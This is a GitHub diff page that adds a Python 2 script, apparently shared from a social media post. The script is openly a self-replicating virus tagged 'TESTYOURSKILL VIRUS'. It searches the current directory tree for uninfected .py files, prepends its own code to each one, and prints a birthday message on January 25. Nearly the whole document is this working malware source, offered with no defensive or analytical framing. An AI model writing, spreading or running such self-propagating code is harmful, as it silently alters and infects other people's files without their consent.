File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ # https://www.facebook.com/100010190148120/posts/1298325610517098/
2+ # subscribed by Avinash Upadhyay
3+ #!/usr/bin/python
4+ import os
5+ import datetime
6+ SIGNATURE = "TESTYOURSKILL VIRUS"
7+ def search (path ):
8+ filestoinfect = []
9+ filelist = os .listdir (path )
10+ for fname in filelist :
11+ if os .path .isdir (path + "/" + fname ):
12+ filestoinfect .extend (search (path + "/" + fname ))
13+ elif fname [- 3 :] == ".py" :
14+ infected = False
15+ for line in open (path + "/" + fname ):
16+ if SIGNATURE in line :
17+ infected = True
18+ break
19+ if infected == False :
20+ filestoinfect .append (path + "/" + fname )
21+ return filestoinfect
22+ def infect (filestoinfect ):
23+ virus = open (os .path .abspath (__file__ ))
24+ virusstring = ""
25+ for i ,line in enumerate (virus ):
26+ if i >= 0 and i < 39 :
27+ virusstring += line
28+ virus .close
29+ for fname in filestoinfect :
30+ f = open (fname )
31+ temp = f .read ()
32+ f .close ()
33+ f = open (fname ,"w" )
34+ f .write (virusstring + temp )
35+ f .close ()
36+ def bomb ():
37+ if datetime .datetime .now ().month == 1 and datetime .datetime .now ().day == 25 :
38+ print "HAPPY BIRTHDAY CRANKLIN!"
39+ filestoinfect = search (os .path .abspath ("" ))
40+ infect (filestoinfect )
41+ bomb ()
You can’t perform that action at this time.
0 commit comments